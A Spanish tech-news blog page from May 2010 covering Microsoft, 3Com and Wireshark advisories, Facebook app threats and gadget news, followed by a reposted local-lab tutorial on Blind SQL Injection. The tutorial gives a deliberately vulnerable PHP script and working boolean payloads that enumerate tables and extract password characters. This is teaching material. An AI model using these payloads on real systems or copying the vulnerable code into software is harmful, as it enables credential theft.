May 12

Boletines de seguridad de Microsoft en mayo

Tal y como adelantamos, este martes Microsoft ha publicado dos boletines de seguridad (el MS10-030 y el MS10-31) correspondientes a su ciclo habitual de actualizaciones. Según la propia clasificación de Microsoft los boletines presentan un nivel de gravedad “crítico”.

El boletín MS10-030 ofrece una actualización para corregir una vulnerabilidad en Outlook Express, Windows Mail y Windows Live Mail, que podría permitir la ejecución remota de código si un usuario accede a un servidor de correo malicioso.

Por otra parte, el boletín MS10-031 presenta una actualización para corregir una vulnerabilidad en Microsoft Visual Basic para Aplicaciones. Este problema podría permitir la ejecución remota de código si una aplicación host abre y pasa un archivo especialmente creado al módulo de tiempo de ejecución de VBA.

Las actualizaciones publicadas pueden descargarse a través de Windows Update o consultando los boletines de Microsoft donde se incluyen las direcciones de descarga directa de cada parche. Dada la gravedad de las vulnerabilidades se recomienda la actualización de los sistemas con la mayor brevedad posible.

Más Información:

Resumen del boletín de seguridad de Microsoft de mayo de 2010
http://www.microsoft.com/spain/technet/security/bulletin/ms10-may.mspx

Microsoft Security Bulletin MS10-030 – Critical
Vulnerability in Outlook Express and Windows Mail Could Allow Remote Code Execution (978542)
http://www.microsoft.com/spain/technet/security/Bulletin/MS10-030.mspx

Microsoft Security Bulletin MS10-031 – Critical
Vulnerability in Microsoft Visual Basic for Applications Could Allow Remote Code Execution (978213)
http://www.microsoft.com/spain/technet/security/Bulletin/MS10-031.mspx

Fuente: http://www.hispasec.com/

May 12

Denegación de servicio en switches 3Com

ha confirmado la existencia de una vulnerabilidad de denegación de servicio en switches 3Com de las familias 4200 y 4500 y en la serie H3C S3100.

El problema reside en el tratamiento de paquetes SSH específicamente construidos mientras actúa como servidor SSH. Un atacante podría emplear este fallo para provocar el reinicio del dispositivo vulnerable, lo que crea la condición de denegación de servicio.

Se recomienda actualizar el software de los dispositivos afectados, con las ultimas versiones publicadas: Switch 4500 V3.03.02p09, Switch 4200G V3.02.04 y H3C S3100-52P-CMW310-R1702P13.

Fuente: http://www.hispasec.com

May 12

Denegación de servicio a través del disector DOCSIS en Wireshark

Se han anunciado una vulnerabilidades de denegación de servicio en Wireshark versiones 0.9.6 hasta 1.0.12 y en la 1.2.0 a la 1.2.7.

Wireshark (aún conocido en algunos entornos como Ethereal, su nombre anterior) es una aplicación de auditoría orientada al análisis de tráfico en redes. Su popularidad es muy elevada, puesto que soporta una gran cantidad de protocolos y es de fácil manejo. Además Wireshark es software libre (sujeto a licencia GPL) y se ejecuta sobre la mayoría de sistemas operativos Unix y compatibles, así como en Microsoft Windows.

El problema, reside en el disector DOCSIS (Data Over Cable Service Interface Specification) que podría permitir a un atacante remoto causar una denegación de servicio a través de un fichero de traza de paquetes especialmente manipulado.

Se recomienda actualizar a la versión 1.2.8 o 1.0.13 de Whireshark desde:
http://www.wireshark.org/download.html

Fuente: http://www.hispasec.com/

May 12

Las aplicaciones “fantasma” y aplicaciones “desechables” se apoderan de Facebook

Se han detectado dos nuevas amenazas en Facebook que, una vez más, han puesto en duda su capacidad de proteger la privacidad y seguridad de sus usuarios.

Se ha descubierto una falla en la red que permite que se agreguen aplicaciones a la cuenta de los usuarios sin su conocimiento. Los expertos creen que el problema radica en una serie de nuevas herramientas para administrar las cuentas que la semana pasada también causaron que los usuarios pudieran ver las conversaciones de chat y solicitudes de amistad de sus contactos .

En este caso, si los usuarios de Facebook dejan su cuenta abierta mientras navegan en Internet, los sitios que cuentan con una aplicación de Facebook la instalan de forma automática y sin el consentimiento de los usuarios.

Entre los sitios que instalan las aplicaciones “fantasma” se encuentran sitios legítimos y populares como CNET, the Washington Post, TechCrunch, New York Magazine y la red de blogs Gawker.

Como no se informa al usuario que se está instalando la aplicación, el usuario no sabe que está compartiendo información con terceras personas y puede pasar bastante tiempo hasta que se dé cuenta de ello.

Otra alerta afirma que los cibercriminales están aprovechando la libertad que se otorga a los internautas para crear aplicaciones de Facebook. Se ha descubierto que los cibercriminales han comenzado a crear aplicaciones “desechables” para difundir programas maliciosos publicitarios.

De esta manera, los delincuentes infectan a la mayor cantidad posible de usuarios hasta que Facebook clausura la aplicación, pero para entonces ya han creado otra que continúa haciendo el trabajo de su predecesora. Fuentes: Stealth installs and adware come to Facebook The Register Facebook’s new features secretly add apps to your profile MacWorld Alert: Disposable Facebook Apps Installing Adware Dark Reading

Fuente: http://www.viruslist.com

May 11

Encuesta – ¿El mejor navegador?

May 11

Intel saca sus Atom para teléfonos y tablets pensando en Android y no en Windows

android_intel-atom.jpg

Hay idilios que no duran para siempre, y el de Windows e Intel no parece pasar por los mejores momentos. Un síntoma ya grave es que los nuevos Intel Atom que el fabricante de chips acaba de hacer públicos, no son de entrada compatibles con Windows.

Pero tranquilos que en parte es algo lógico. Los nuevos Intel Atom Z6XX son procesadores enfocados a los tablets y los smartphones. Intel soluciona de un golpe el fracaso de la anterior generación de chips Atom en los teléfonos móviles, donde no los quería ni ver ningún fabricante, y también sus intentos fallidos por hacer que los tablets opten por su plataforma en vez de por soluciones provenientes del mundo de la telefonía.

Continue reading

May 11

Samsung W960, las pantallas 3D llegan a los móviles

Samsung W960, las pantallas 3D llegan a los móviles

Terminando abril os hablábamos en XatakaMóvil del Motorola MT820, un teléfono del que no tenemos mucha información pero que presume de que su pantalla será capaz de reproducir imágenes 3D. Pues ahora conocemos que Samsung prepara otro teléfono que va en la misma dirección, y es que los coreanos no se quieren quedar atrás en lo que respecta a tecnologías que sean transportables a la electrónica de consumo.

El teléfono en cuestión responde al nombre completo de Samsung SCH-W960, y estrena una pantalla con tecnología AMOLED 3D, que según la fuente de la noticia es capaz de mostrar imágenes con cierta profundidad sin la necesidad de utilizar gafas para su visualización. Lo curioso del sistema es que en cualquier momento podemos activar o desactivar la posibilidad pulsando un botón dedicado.

Continue reading

May 11

Xbox 360 con juegos 3D, el E3 podría ser el momento

Interesante la foto que os ponemos arriba de estas líneas en la que podemos observar un televisor Infinia recientemente presentado con su soporte para contenidos 3D, y unos afanados jugadores que, atención, juegan con una Xbox 360 a juegos en 3D.

Según informa LG directamente, a partir de junio y en el mercado asiático, sus televisores 3D vendrán con un pack en el que se incluyen juegos 3D para usar con la Xbox 360. Microsoft afirmó hace poco que su consola estaba preparada para juegos y contenido 3D y parece que con la llegada masiva de televisores 3D a partir de este verano, la feria E3 podría depararnos algún anuncio más que el del proyecto Natal.

¿Será solo Project Natal? ¿Tendremos nuevo modelo rediseñado y con 3D como bandera? ¿Solo un anuncio para hacer oficial el 3D en la Xbox 360 actual? Parece que el E3 de dentro de unas semanas en EEUU será de los más apasionantes de los últimos años, y por allí andaremos para contároslo de primera mano.

Fuente: http://www.xataka.com/

May 11

Blind SQL Injection

Hola:

La idea principal no es explicar un Blind SQL Injection, la idea es poder “tocar” un Blind SQL Injection.

De esta manera podremos jugar con el, introducir “nuestras cosas” y lo más importante, comprobar como reacciona ante ellas.

Siempre, claro, en un escenario propio. En un escenario que nosotros controlemos, podamos manipular y configurar. De esta forma podremos habilitar/deshabilitar opciones, quitar/añadir datos, etc…

Teniendo todo controlado entenderemos mejor el comportamiento o la hora de realizar el ataque.

Pues es de lo que se trata.

Lo que vamos a hacer es montar un Servidor WEB con APACHE + PHP + MySQL. Crear una base de datos y crear un fichero en PHP que realice un consulta con la Base de datos vulnerable…

Para no liarnos mucho y para acabar antes, podemos instalar un Appserv, que lo que hace es instalarlo todo junto (APACHE + PHP + MySQL). Y así nos evitamos otros quebraderos de cabeza.

AppServNetwork

La instalación del AppServ no tiene ninguna dificultad. Eso si, apuntar o recordar las contraseñas que utilicéis.

Una vez que tenemos instalado el servidor, lo arrancamos. A mi me gusta utilizar el Apache Monitor, que podéis encontrar en:

Inicio – Todos los programas – AppServ – Control Server by Service – Apache Monitor.
Abrimos nuestro navegador favorito y escribimos en la barra de direcciones:

http://localhost

¡¡Cuidadito con lo que hacéis!!… el gran hermano nos vigila a todos

Si todo ha ido bien tendríamos que ver todos los ficheros alojados en nuestro servidor WEB.

Para insertar ficheros en el servidor tendremos que introducirlos dentro de la carpeta WWW. Que por defecto encontraremos en:

Código: C:\Appserv\www

Recordar que los ficheros con nombre index son ejecutados directamente por el servidor.
Para hacer más cómodo nuestro acceso al servidor recomiendo renombrar el fichero index.php a por ejemplo indexx.php

Dentro de WWW, vamos a crear una carpeta llamada BlinSQLInjection.

Este será el directorio donde alojaremos el script en PHP que realizará la consulta con la base de datos vulnerable.

Pasemos ahora a crear una base de datos con información…

Tenemos varias formas de crear la base de datos, bien a través del phpMyAdmin o a través de la consola de comandos.

Aunque el phpMyAdmin es más visual, el MySQL Command Line Client es más rápido y, en este caso, más sencillo.

MySQL Command Line Client lo podéis encontrar aquí:

Código: Inicio – Todos los programas – Appserv – MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Vamos a crear la Base de datos. Para eso introducimos el siguiente comando:

Código: create database BlindSQL;

Ahora vamos a crear la tabla USUARIOS con tres campos:

  • id.
  • Nombre.
  • Password.

Para eso indicamos que base de datos queremos utilizar, mediante:

Código: use BlindSQL;
Y a continuación creamos la tabla con sus correspondientes campos:

CREATE TABLE `usuarios` (`id` int(10) unsigned NOT NULL auto_increment,`nonmbre` varchar(50) NOT NULL,`password` varchar(50) NOT NULL,PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1 AUTO_INCREMENT=2 ;

Ahora vamos a rellenar los campos con algunos contenidos. Por ejemplo, usuario: root, password: a1b2c3d4e5f6!!, id 1…

Cada uno puede escoger el nombre y la contraseña que quiera… aunque para entender y no perderse en las explicaciones es recomendable utilizar los mismos ejemplos.

Vamos haya…

insert into `usuarios` values (1, ‘root’,’a1b2c3d4e5f6!!’);

Los siguientes 2 usuarios siguen el mismo procedimiento, simplemente hay que cambiar el id a un valor consecutivo. Por ejemplo:

insert into `usuarios` values (2, ‘netting’,’gnitten’);

Código: insert into `usuarios` values (3, ‘guest’,’a76sd76ash12b’);

Con esto ya hemos creado la base de datos que vamos a utilizar en la práctica y en los ejemplos.

Una sola cosa más, comprobemos que la base de datos a creado todo correctamente.

Vamos a visualizar la tabla USUARIOS.

¡Todo correcto!

Cambiemos ahora, radicalmente, de tema. Vamos a crear un script en PHP que haga una consulta con la base de datos vulnerable a un Blind SQL Injection.

Código: <?php
$host = ‘localhost’;
$dbuser = ‘root’;
$dbpass = ‘mysql’;
$dbname = ‘blindsql’;
$db = mysql_connect($host, $dbuser, $dbpass);
mysql_select_db($dbname,$db);
$sql = “SELECT * FROM usuarios WHERE id=”.$_GET[‘id’];
$query = mysql_query($sql);
if(@mysql_num_rows($query)==0){
die(‘Error…! ‘);
}
$result=@mysql_fetch_row($query);
echo “<h2><center>Blind SQL Injection<br>Ejemplos<br><br>”;
echo “<font color=’#FF0000′>id: </font>”.$result[0].”<br>”;
echo “<font color=’#FF0000’>Nombre: </font>”.$result[1].”<br>”;
// echo “Contraseña: “.$result[2].”<br>”;
echo “</h2></center>”;
die();
?>

Este script no le he creado yo. Lo he sacado de la Intesné, lo que pasa es que no recuerdo de donde… (ay!! Que memoria la tuya, NeTTinG).

Creo que el script es muy sencillo. Aun si tener ningunos conocimientos de PHP se puede sacar a grandes rasgos lo que hace.

Quedémonos con lo más importante:

Código: $sql = “SELECT * FROM usuarios WHERE id=”.$_GET[‘id’];
$query = mysql_query($sql);

El script hace la siguiente consulta con la base de datos,

Código: SELECT * FROM usuarios WHERE id=X

Luego se recoge a través de GET el valor de id, dado por el usuario. Es decir, si nosotros escribimos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Se recoge el valor 1 y se hace la siguiente consulta:

Código: SELECT * FROM usuarios WHERE id=1

Luego, la otra parte del script, ya se ocupa de mostrar la respuesta a la solicitud en el navegador.

Copiamos el script, lo pegamos en el bloc de notas, y lo guardamos dentro de la carpeta BlindSQLInjection con extensión PHP.

Abrimos el navegador, e insertamos en la barra de direcciones la siguiente URL:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Ya tenemos todo listo para realizar prácticas de Blind SQL Injection en nuestro propio servidor vulnerable.

¿Como saber si el servidor es vulnerable?

Pasemos ahora a explicar un poco de que se trata un Blind SQL Injection, todo de manera práctica.

Nosotros sabemos que el script muestra información a través de la variable id. Según el id mostrará una información u otra almacenada en la base de datos.

Si nosotros no indicamos ningún valor a id o indicamos un valor que no existe en la base de datos obtendremos un simpático “Error…!! “.

Vale. Sabiendo esto nos llega para entender las siguientes explicaciones.

Si ponemos en la barra de direcciones la siguiente URL:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=1

Obtendremos el mismo resultado que si introdujéramos:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1

Acabamos de añadirle a la consulta un AND 1=1, que es un valor verdadero. Si la aplicación es vulnerable nos tendría que devolver el mismo resultado.

Comprobemos que pasa si añadimos un valor falso:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND 1=0

Obtenemos un: “Error…!!

Bien. A partir de ahora podremos formularle preguntas al servidor acerca de la base de datos. Cuando las respuestas sean falsas se nos enviará a: “Error…!! “, mientras que cuando sean verdaderas nos quedaremos en la misma página.

Una cosa importante. Las preguntas que podemos hacerle al servidor solo pueden tener como respuesta SI (verdadero) o NO (Falso). Recordar que es un ataque a ciegas…

Ojo! El servidor contestará que NO tanto si la consulta es falsa como si nosotros indicamos una consulta errónea. Ojo con la sintaxis de las consultas.

Probemos algunas cosas…

Conozcamos el nombre la tabla:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM users);

FALSO. Obtenemos la página “Error…!!

Probemos ahora con:

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT (COUNT(*)) FROM usuarios);

VERDADERO. Nos quedamos en la misma página.

Conociendo el número de registros de una tabla

Para conocer el número de registros vamos a seguir utilizando la Función COUNT:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) > 5;

Puesto que la tabla tiene 3 registros, nos dará un valor FALSO. 3 no es mayor que 5. (3 > 5)

Código:http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT Count(*) FROM usuarios) = 3;

En este caso ya sabemos que la tabla tiene 3 registros. Al inyectar esta inyección nos dará un valor VERDADERO.

El objetivo es ir probando hasta encontrar un valor VERDADERO.

Buscando los nombres de las columnas o campos

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombres) FROM users)

Puesto que no existe ninguna columna o campo con este nombre obtendremos un valor FALSO.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(password) FROM usuarios)

Sin embargo, ahora si nos dará un valor VERDADERO. Si existe un campo con el nombre password.

Ya tenemos un campo, ahora sería cuestión de ir probando con otros campos hasta encontrarlos todos.

Código: >http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(nombre) FROM usuarios)

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND(SELECT Count(id) FROM usuarios)

Esto nos devolverá valores VERDADEROS.

Sacando información de los campos y registros

Lo que más nos podría interesar a la hora de encontrar un servidor vulnerable a un tipo de ataque como un Blind SQL Injection sería sacar información acerca de los passwords almacenados. Pues bien, ¿Que tal si sacamos la longitud de una contraseña?

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM usuairos where id=1) > 9

Esto nos devolverá un valor VERDADERO. El password tiene una longitud mayor a 9 (14 > 9).

Si vamos probando, probando, llegaremos a la siguiente conclusión:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (SELECT length(password) FROM users where id=1) = 14

Que nos devolverá un valor VERDADERO.

También podríamos pedir el password a partir del nombre de usuario en vez de utilizar el id.

Por ejemplo, así:

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1%20AND%20(Select%20length(passw ord)%20From%20usuarios%20where%20nonmbre=%27root%2 7)%20>%209;

Esto mismo nos vale también para conocer el contenido de otros campos. Por ejemplo, la longitud del usuario con id 2, al que vamos a imaginarnos que no conocemos su username.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND (Select length(nombre) from usuarios where id=2) = 7;

Esto nos devolverá un valor VERDADERO. Puesto que el usuario con id 2, netting, tiene una longitud de 7 caracteres.

Pasemos ahora a sacar los caracteres de una contraseña o de otro campo. Para ello vamos a utilizar la función LENGTH y la función SUBSTRING.

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuairos where id=1),1,1))=97;

Esto nos devolverá un valor VERDADERO. Puesto que el primer carácter de la contraseña es una “a”. (ASCII 97 = ‘a’).

Código: http://localhost/BlinSQLInjection/blindmysql.php?id=1 AND ascii(substring((SELECT password FROM usuarios where id=1),2,1))=49

Esto nos devolverña un valor VERDADERO. El segundo carácter de la contraseña es un “1”. (ASCII 49 = 1).

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos “a mano”, existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Es decir, debemos buscar en una tabla ASCII el valor del carácter que queremos comprobar. Ponerlo en la inyección y comprobar si es verdadero o falso.

También fijaros que hay que ir cambiando el número de la inyección para indicar que carácter queremos comprobar… que si el primer carácter (1) , que si el segundo carácter (2), y así consecutivamente…

Como decía Vic_Thor en el post del BlindSec, es una pesadilla… hay que ir comprobando carácter a carácter todas las posibilidades… y la verdad, no son pocas…

Os dejo aquí una Tabla ASCII:

… bueno, siempre y cuando lo hagamos “a mano”, existen herramientas, por eso de llamarlas de algún modo, que nos permiten hacerlo todo más automático…

Aunque eso se escapa del objetivo del documento… si encuentro por mi disco duro la herramienta automatizada, la posteo en el foro…

Fuente: http://comunidad.dragonjar.org/